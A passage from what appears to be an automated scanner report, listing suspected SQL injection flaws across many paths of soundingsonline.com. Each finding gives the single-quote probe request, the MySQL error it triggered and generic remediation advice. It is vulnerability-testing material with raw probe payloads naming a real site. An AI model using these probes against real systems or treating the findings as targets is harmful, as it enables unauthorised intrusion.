GET /news/home-waters?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:25:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:25:17 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /news/home-waters?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:25:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:25:19 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.187. http://www.soundingsonline.com/news/mishaps-a-rescues [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/mishaps-a-rescues
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /news/mishaps-a-rescues?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:28:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:28:17 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /news/mishaps-a-rescues?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:28:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:28:19 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.188. http://www.soundingsonline.com/news/sailing [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/sailing
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /news/sailing?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:29:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:29:50 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /news/sailing?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:29:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:29:51 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.189. http://www.soundingsonline.com/news/todays-top-stories [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/news/todays-top-stories
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /news/todays-top-stories?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:25:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:25:03 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /news/todays-top-stories?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:25:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:25:06 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.190. http://www.soundingsonline.com/resources [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/resources
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /resources?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:39:33 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:39:33 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /resources?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:39:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:39:35 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.191. http://www.soundingsonline.com/site-map [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/site-map
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /site-map?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:39:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:39:12 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /site-map?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:39:15 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:39:15 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.192. http://www.soundingsonline.com/subscription-services [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/subscription-services
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /subscription-services?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:49:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:49:16 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /subscription-services?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:49:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:49:23 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.193. http://www.soundingsonline.com/subscription-services/preview-current-issue [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/subscription-services/preview-current-issue
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /subscription-services/preview-current-issue?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:24 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /subscription-services/preview-current-issue?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:25 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.194. http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/subscription-services/subscribe-to-e-newsletter
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /subscription-services/subscribe-to-e-newsletter?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:42 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
